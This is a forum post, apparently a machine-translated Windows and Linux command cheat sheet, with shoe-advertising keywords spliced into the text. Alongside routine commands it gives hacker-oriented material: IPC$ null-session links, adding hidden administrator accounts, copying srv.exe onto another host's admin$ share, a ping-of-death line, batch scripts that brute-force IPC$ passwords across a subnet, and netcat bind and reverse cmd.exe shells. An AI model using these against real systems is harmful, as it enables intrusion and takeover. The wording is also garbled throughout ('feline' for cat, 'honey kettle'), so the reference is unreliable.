![]() |
Frequently secondhand commands CMD
CMD usually used commands
: The Complete Works of winver --------- computer check run command Windows version wmimgmt.msc---- open the windows management structure wupdmgr ------- -windows update winver --------- check the Windows version of wmimgmt.msc---- open the windows management architecture wupdmgr -------- windows update wscript -------- windows script host settings write ---------- tablet winmsd ----- system information wiaacmgr ------ - Scanner and Camera Wizard winchat -------- XP comes with LAN conversation mem.exe-------- Display memory usage Msconfig.exe-- System Configuration Utility mplayer2 ------- Summary widnows media player mspaint -------- painting embark mstsc ---------- Remote Desktop Connection mplayer2 ------- Media Player amplify -------- magnifier utility mmc ------------ Open the Control Panel mobsync -------- sync command dxdiag --------- check the DirectX system information drwtsn32 ------ physicians devmgmt.msc-- Equipment Manager dfrg.msc------- Disk Defragmenter diskmgmt.msc-- the Disk Management utility dcomcnfg ------- Open the System Component Services ddeshare ------- Open the DDE sharing settings dvdplay -------- DVD actor net stop postman ----- Stop the Messenger service net start messenger - - Start messenger service notepad -------- Open Notepad nslookup ------- network management tools lead ntbackup ------- system export and Restore narrator ------- screen > netstat-an ---- (TC) command to check the interface syncapp -------- create a briefcase sysedit -------- System Configuration Editor sigverif ------- file signature verification process sndrec32 ------- shrpubw -------- recorder to create a shared direcotry secpol.msc----- Local Security Policy syskey --------- system encryption, encryption can not be solved presently, the dual system of conservation of windows xp password services.msc-- set Sndvol32-local service ------ volume control program sfc.exe-------- System File Checker sfc / scannow --- windows file protection tsshutdn ------- 60-second countdown shutdown command tourstart ------ xp outline (afterward the installation is complete roaming xp programs) taskmgr -------- Task Manager eventvwr ---- --- Event Viewer eudcedit ------- Characters and procedures explorer ------- open Explorer packager ------- Object Packager perfmon.msc---- computer performance monitoring programs progman -------- Program Manager regedit.exe---- registry rsop.msc---- --- team plan outcome set regedt32 ------- Registry Editor rononce-p ---- 15 seconds off regsvr32 / u *. dll ---- stop dll file to run regsvr32 / u zipfldr.dll------ cancel ZIP support cmd.exe-------- CMD command prompt chkdsk.exe----- Chkdsk disk check certmgr.msc---- Certificate Management utility calc ----------- start computer charmap -------- start Character Map cliconfg ------- SQL SERVER Client Network Utility Clipbrd -------- clipboard viewer conf ----------- Start netmeeting compmgmt.msc-- Computer Management cleanmgr ------- ** achieving ciadv.msc------ indexing service program osk ----- ------- Open the on-screen keyboard odbcad32 ------- ODBC Data Source Administrator oobe / msoobe / a ---- check whether XP activation lusrmgr.msc-- - Local Users and Groups logoff --------- cancellation of orders iexpress ------- Trojans bundled tools, the system comes Nslookup ------ -IP address detector fsmgmt.msc----- shared folder manager utilman -------- Utility Manager gpedit.msc----- Group Strategy net use ipipc $ Air links net use h: ipc $ C: to the local for the H: net use ipipc $ / del to delete IPC link net use h: / del to delete the other to the local maps for H: charting net user username password / add establishment User net user guest / active: yes active users net user visitor to see what the user account name net user account properties View net localgroup administrators username / add the Manager to have administrator privileges, pay attention: administrator, add s in the plural net start see what services are open net start service name to qualify the service; (such as: net start telnet, net start schedule) net stop service name to stop a service net time target ip see each other time net time target ip / set the local microcomputer time and set the Information net view View local LAN which opened shared net view ip view what the other side opened the LAN to share net config display system network settings net logoff disconnected sharing suspended in a net standstill service name service net send ip > net share ipc $ open ipc $ share net share ipc $ / del to delete ipc $ share net share c $ / del to delete C: Sharing net user guest 12345 guest user login with the password for after 12345 net password password to change the system login password netstat-a view which ports are opened, used netstat-an netstat-n Show web connection port, commonly used netstat-an netstat -v view the progressive work of the netstat-p protocol in cases of: netstat-p tcq / ip view the use of a protocol (see tcp / ip protocol usage) netstat-s view the use of all protocols in use situation nbtstat-A ip one of the other ports 136-139 open, then you can see each other last login user name (the user name ahead 03) - Note: The parameter-A to upper tracert - Parameters ip (or computer names) Trace Route (pouch), parameters: ping ip (or domain name) to the other host to send the default size of 32 bytes of data, parameters: ping. ping-t-l 65550 ip death ping (send a file larger than 64K and has been to transform a ping of decease ping) ipconfig (winipcfg) for windows NT and XP (windows 95 98) See the local ip address, ipconfig available parameters kill-F-F process parameters were added to force the end of a process (an increased tool for the system, the default is not installed in the installation directory of Support / tools folder) del-F file name plus -F parameter can be deleted after the read-only file, / AR, / AH, / AS, / AA, respectively, remove the read-only, hidden, system, archive file, / AR, / AH, / AS, / AA said that in counting to delete only the Reading, hidden, system, archive files appearance. For sample, / Q directory or use: rmdir / s / Q catalog / S delete the directory and the directory of all subdirectories and files. At the same time using the parameter / Q to cancel the delete operation of the system to directly confirm the deletion. (Two commands the same effect) migrate the drive letter path name of the file you want to move the path of moving storeroom moving files moving files after the file name, using the parameter / y will cancel move confirm the subsistence of the same file directory prompts to direct scope fc one.txt 2.txt> 3st.txt compare two files and the distinction output to 3st.txt file, br> at id number of registered open a scheduled task at / delete to stop all scheduled tasks, using the parameter / yes you do not need to instantly confirm the number to stop at id / delete to stop the plan to a registered Task at View all arranging tasks by ip time the program name (or a command) / r in a run each time a program and restart the computer finger username @ host see which users have recently landed telnet ip port for a server far away, and the default port is 23 open ip to connect to the IP (after landing is a telnet command) telnet directly on the machine type telnet to enter telnet duplicate of the machine file name way to the file way name 1 2 / y 1 copy files to the specified directory as a file 2, using the parameter / y to confirm the cancellation of the existing directory you absence to overwrite a file copy c: srv.exe ipadmin $ Copy Local c: srv.exe to each other admin beneath cppy first.jpg / b +2 st.txt / a 3st.jpg hide the contents of the 2st.txt to produce 3st.jpg 1st.jpg new file, note: 2st.txt to empty three-row header, parameters: / b refers to the binary file, / a means ASCLL format copy ipadmin $ svv.exe c: or: copyipadmin $ *.* copy to share each other under the admini $ srv . exe file (all files) to the local C: xcopy to copy files or directory tree destination directory name to copy files and directory tree, using the parameter / Y will not be prompted to overwrite the same file tftp-i own IP (when used as a springboard that pork grinder with the meat machine IP) get server.exe c: server.exe after landing, the transmission,Children's Minnetonka Moccasin, such as along sending exe files, if necessary increase-i Zeyi ASCII mode (text file transfer mode) transmission tftp-i other IP put c: server.exe after landing, upload the local c: server. exe to the host ftp ip port because uploading files to server or to file operations,Women's Minnetonka Slippers, the default port is 21. binary refers to the transportation of binary (executable file into); default ASCII format as transportation (txt file) route publish shows IP routing, network address to the chief display Network addres, subnet disguise, Netmask, Gateway Address Gateway addres, Interface Address Interface arp view and ARP cache, ARP is the averaging of name resolution, is responsible for an IP resolves the MAC residence of a physical ecology. arp-a will show always the information start the program name or command / max or / min to open a new window and aggrandize the (minimum) to run a program or command mem view the cpu usage attrib file appoint (directory name) to view a file (catalogue) file name property attrib-A-R-S-H or + A + R + S + H to remove (add) a file archive, read-only, system, hidden attributes; with + is additional as an attribute dir view the file, arguments: / Q exhibit file and directory is the system which the user, / T: C display the file creatiin due time, / T: A display file last is way time, / T: W was last modified appointment / t, time / t using this parameter is specified date and time set the environment variable name = variable characters to be assigned to set the environment variable set shows all current environment variables set p (or other characters) to display the current to the character p (or other characters) at the starting of the suspension of all environmental variables pause batch program and displays: Press any opener to continue .... if the conditions in a batch program execution processing (for more explanation see if the command and variable ) goto label cmd.exe batch program directed to the line with a label (label have to be a detach line,Minnetonka Moccasin, and starts with a colon, for instance: phone different batch processing program (for more explanation see shriek /?) for a group of files in each file to execute a specific command (for more explanation see for command and variable) echo on or off to open or close the echo, just echo with no contentions displays the current settings echo echo information displayed on the screen information echo information>> pass.txt the pass.txt file findstr color value is set cmd console foreground and background colors; 0 = black, 1 = blue, 2 = green, 3 = light green, 4 = ruddy 5 = lavender 6 = yellow 7 = white 8 = gray, 9 = light blue, A = light green, B = pale light green, C = light red, D = purple, E = yellow, F = bright white prompt change the name of the display of the command prompt cmd.exe (the C:, D: Unity to: EntSky) III: ver at the DOS window displays version information winver pop up a window display version information (memories size, system version, patch version, computer name) format drive / FS: type format a disk, type: FAT,Women's Minnetonka Moccasin, FAT32, NTFS, Example: Format D: / FS: NTFS md directory name to build the directory replace source files to be replaced Replace the aboriginal file name file ren rename the new file name file name tree to display directory tree building, with the first argument-f will list the files in a folder name type the file name to display text files the contents of the file name by more shade display output file doskey mandate to bolt the character doskey = = for the DOS command to release the lock to invest command (amend the command line, recall win2k command, and create macros). Such as: Lock dir command: doskey dir = entsky (can not use doskey dir = dir); unlock: doskey dir = taskmgr bring up the Task Manager chkdsk / FD: Check the disk and displays a status report D; Canada parameter / f and repair errors on the disk tlntadmn telnt service admn, type tlntadmn select 3, then select 8, you can change the default port 23 telnet service port exit to quit any other program or the current cmd.exe, using the parameter / B is the exit the current batch script instead of cmd.exe path file name path of the executable file executable file to set a path. Start a win2K bat shell window. Parameters: / eff, / en closed, open a bid expansion; a more detailed description I see cmd /? Regedit / s Registry file name into the registry; parameter / S refers to the import in silence mode, without whichever hints; regedit / e Export registry file name registry cacls filename parameter to display or modify file access control list (ACL) - for the NTFS format. Parameters: / D User: Set refuse a user access; / P User Name: perm Replace specified user's access rights; / G username: perm Grant specified user access rights; Perm can be: N None, R Read, W Write, C Change (write), F Full Control; cases: cacls D: est.txt / D pub set d: est.txt refused to pub users. cacls file name View the file access user permissions list REM text in a batch file to add remarks netsh view or change the local network configuration IV: IIS service command: iisreset / reboot to restart win2k computer (but the system will prompt to restart information appears) iisreset / start or stop start (stop) all Internet service iisreset / restart stop and restart all Internet Service iisreset / status display all Internet service status iisreset / enable or weaken the local system to enable (disable) Internet service restart iisreset / rebootonerror when to start, stop or restart the Internet service If an misdeed occurs will reboot iisreset / noforce If you tin not stop the Internet service, will not be forced to terminate Internet service iisreset / timeout Val arrive over time (in seconds), the Internet service has not stopped, if the specified / rebootonerror parameters, the computer will reboot. The default is 20 seconds to restart, stop 60 seconds, reboot 0 seconds. FTP command: (detailed description of the contents of the behind) ftp command line format is: ftp-v-d-i-n-g [host name]-v shows all the remote servers response information . -d use the debug mode. -n limit ftp automatic login, which does not use. netrc files. -g to cancel the universal file names. aid [command] or? [Command] See memorandum goodbye or leave command to terminate the host FTP process, and exit the FTP management. Pwd menu the current directory put the remote host, or send a local file name [uploaded to the host file name] will send a local file to the remote host get or recv [remote host file name] [file after downloading to a local name] sent from a remote host to local host mget [remote -files] number of documents received from the remote host to local host mput local-files in a number of the local host file transmit to remote host dir or ls [remote-directory] [local-file] column the current remote host files in the directory. If there is a local file, will write the results to the local file ascii set mode to transfer files to ASCII (default) bin or transmitted in binary picture set File peal once for each file transfer completed, return to the before fear cdup intervene level directory close the ftp session with the remote server (and the open mapping) open host [port] ftp server to create the specified connection, you can delete the specified port delete the files in the remote host mdelete [remote-files] Delete a group of files mkdir directory-name to create the directory on the remote host rename [from ] [to] change the file name of the remote host rmdir directory-name Delete the remote host in the FTP directory status shows the current status of system displays the remote host system type user user -name [password] [account] back to another user name to log the remote host open host [port] to re-establish a new connection prompt interactive prompting mode macdef defined macros lcd change the current working directory of the local host, if the default to go to the current user's HOME directory chmod change file permissions for the remote host case When ON, use the command copy filename MGET to the local machine in all lowercase letters cd remote-dir into the remote host directory cdup remote host directory into the parent directory ! on the local machine to act interactive shell, exit back to ftp context, such as! ls *. zip # 5 V: MYSQL command: mysql-h host address-u username-p password to join MYSQL; If you have equitable installed MYSQL, is the super user basis without a password. (Example: mysql-h110.110.110.110-Uroot-P123456 Note: u and the root can not add a space, the other is the same) exit to exit MYSQL mysqladmin-u username - p password new password the age password to change the password acknowledge select on database .* to username @ log host identified by (Note: the above is differ because it is MYSQL emulating command in the environment, so the back is with a semicolon as a command terminator) show databases; display the database list. At first merely two databases: mysql and test. mysql database MYSQL inside it is quite important system information, we change the password and add users, in fact, is to use this library to operate. use mysql; show tables; display the library data table describe table; display the data table structure create database database name; mansion a database use the library name; create table table name (field set list); create table drop database database name; drop table table name; delete the database and delete tables cancel from chart; the table, vacant record choose * from table; display records in a table mysqldump - opt school> educate.bbb back up the database: (the mysql in command in the DOS directory under implementation); Note: The database backup to school.bbb school file, school.bbb is a text file, the file name of any check, turn to see if you have new discoveries. win2003 system under the new command (practical chapter): shutdown / parameter shutdown or restart a local or remote host. Parameter Description: / S off the host, / R to restart the host, / T digital set the delay time range of 0 to 180 seconds, / A cancellation shoe, / M / / IP specified remote host. Example: shutdown / r / t 0 Restart the local host immediately (not delay) taskill / parameters of the process name or process pid to terminate one or more missions and processes. Parameter Description: / PID to terminate the process pid, available tasklist command to get the process pid, / IM process to cancel the process name, / F compelled to cancel the process, / T to terminate the specified process and the begin of his child process. tasklist shows currently running on the local and remote host processes, services, the process identifier of the process (PID). Parameter Description: / M are listed in the current process load dll file, / SVC shows each process corresponding to the service, no parameters to list only the current process. Six: Linux elementary command system: case-sensitive uname to show the version information (with win2K's ver) dir displays the present directory files, ls-al displays, including secluded files (with win2K The dir) pwd query the current directory place where cd cd .. back to the parent directory, pay care to spaces between cd and ... cd / to return to the root directory. feline file name to view file contents cat> abc.txt abc.txt file to write content. more file names to a sheet display a text file. cp copy files mv move files rm file name to delete the file, rm-a directory name to delete the directory and subdirectories mkdir directory name to create the directory rmdir remove directory, directory, there is no document. chmod to set file or directory access permissions grep to detect strings in the file archive diff compare find file search date is the date, time who query present and you use the same machine as well as the time and area w analysis Login is currently on the machine's detailed information whoami view your account name groups see someone's Group passwd to change your password history see your next show the commands ps process status kill to stop a process gcc hackers often use it to compile the C language to write the file permissions su converted to the specified user telnet IP telnet linkage the other host (the same win2K), while there is illuminated bash $ time a successful linkage. ftp ftp connection on a server (with win2K) attached: batch command and variable 1: for command and variable bottom format: FOR / parameter% variable IN (set) DO command [command_parameters]% variable: Specify a single letter exchangeable parameters, such as:% i, and apportion a variable is used:%% i, and call the variables used:% i%, the variable is case perceptive write (% i is not equal to% I). can handle variable batch time from% 0 -% 9, 10, of which% 0 use the default name to the batch file,% 1, the default is entered when using this batch the first value, empathy :% 2 -% 9 refers to the input values 2-9; Example: net use ipipc $ pass / user: user in the ip is% 1, pass to% 2, user is% 3 (set ): specify one or a group of files, use wildcards, such as: (D: user.txt) and (11254) (1-1254), ; means initial value, the second command: the first documents on the implementation of the specified commands, such as: net use command; like to run multiple commands, the command add this: & to separate command_parameters: for a specific command specified parameter or command line switch IN (set): refers to (set) of values; DO command: refers to the execution command parameters: / L refers to the incremental form of (set ) when the increments in the form; / F refers to values from the file constantly, until the completion date to take (set) for the file,Men's Minnetonka Driving Shoes, such as (d: pass.txt) time. Example usage: @ echo off echo Usage format: test.bat *.*.*> test.text for / L%% G in (1 1 254) do echo% 1.%% G>> test.txt & net use % 1.%% G / user: administrator | find To test.bat Description: A specified segment of the 254 C level IP in order to establish test administrator password is vacant IPC $ connection, if successful, put the IP exists in test.txt. / L refers to the incremental fashion (ie, from 1-254 or 254-1); enter the IP in front of the default for batch three :*.*.*% 1;%% G for the variable (ip of the last); & echo and net use to separate these two orders; | refers to ipc $ established after the results of using find to see if there is .%% G for the complete IP address; (11254) refers to the start value, an amplify of volume, end ending value. @ echo off echo Usage format: ok.bat ip FOR / F%% i IN (D: user.dic) DO smb.exe% 1%% i D: pass.dic 200 save as: ok.exe Description: Enter an IP,Moccasins Shoes, use the lexicon file d: pass.dic to raging solutions d: user.dic the user password file in the value until the end to comesintoseffect. %% I for the user name;% 1 for the input of the IP address (default). VII: 2: if the basic format of the command and variables: IF [no] errorlevel digit command to escape whether the last statement returns a digit equal to or greater than the specified exit code, a specified condition is . Example: IF errorlevel 0 means the program execution command after the return amount of 0 to the value of the command after the line; IF not errorlevel 1 means the program execution command returns the last value is not equal to 1 to perform the next command. 0 refers to the finding and successful implementation of the (true); 1 means not found, did not execute (false). IF [not] string1 == string2 command statement matches if the specified text string (ie: String 1 is equal to string 2) to execute the next command. Example: % and add Example: IF [not] errorlevel number command statement, statement or else the command IF [not] string1 == string2 command statement, statement or else the command IF [not] exist filename command statement else statement with the command: else command After the statement means: the current surface conditions are not established, to refer to the command line else back. Note: else must be efficacious if the same line. When del del command needs to use the whole contents of the command encircled, for when the del command to run to a separate line, with the use after the other so a unattached line; for instance: txt. another echo test.txt.lacking 1, Swiss Army knife: nc.exe Parameter Description: -h Show help information -d background mode -e prog program redirection, but the connection to the implementation of a 〔〕 -i secs hazard of delay interval -l listen mode, for inbound connections -L listen mode, the connection continues after days of close monitoring until the CTR + C - n IP addresses, domain names can not be recorded -o movie transmission of 16 hexadecimal -p [space] port local port number -r irregular local and remote port using Telnet interaction -t way -u UDP mode -v verbose output, use-vv figures in more elaborate -w timeout tarry interval -z input, output off (for the sweep when the anchor) basic usage: nc-nvv 192.168.0.1 80 chained to host 192.168.0.1 port 80 nc-l-p 80 to corner above the machine's TCP 80 port and listen nc-nvv - w2-z 192.168.0.1 80-1024 80-1024 sweep the anchor of 192.168.0.1 port nc-l-p 5354-t-ec: winntsystem32cmd.exe remote host cmdshell bind the TCP 5354 port in the remote nc-t-ec: winntsystem32cmd.exe 192.168.0.2 5354 bang cmdshell given remote host and the 5354 reverse connection 192.168.0.2 port Advanced Usage: nc-L-p 80 as a honey kettle with 1 : open and keep listening on port 80, until the CTR + C until the nc-L-p 80> c: log.txt as a honey pot with 2: to open and keep listening on port 80, until the CTR + C , when the output to c: log.txt nc-L-p 80 redirect command. |
All times are GMT. The time now is 03:47 AM. |
Powered by vBulletin Version 3.6.4
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
Free Advertising Forums | Free Advertising Message Boards | Post Free Ads Forum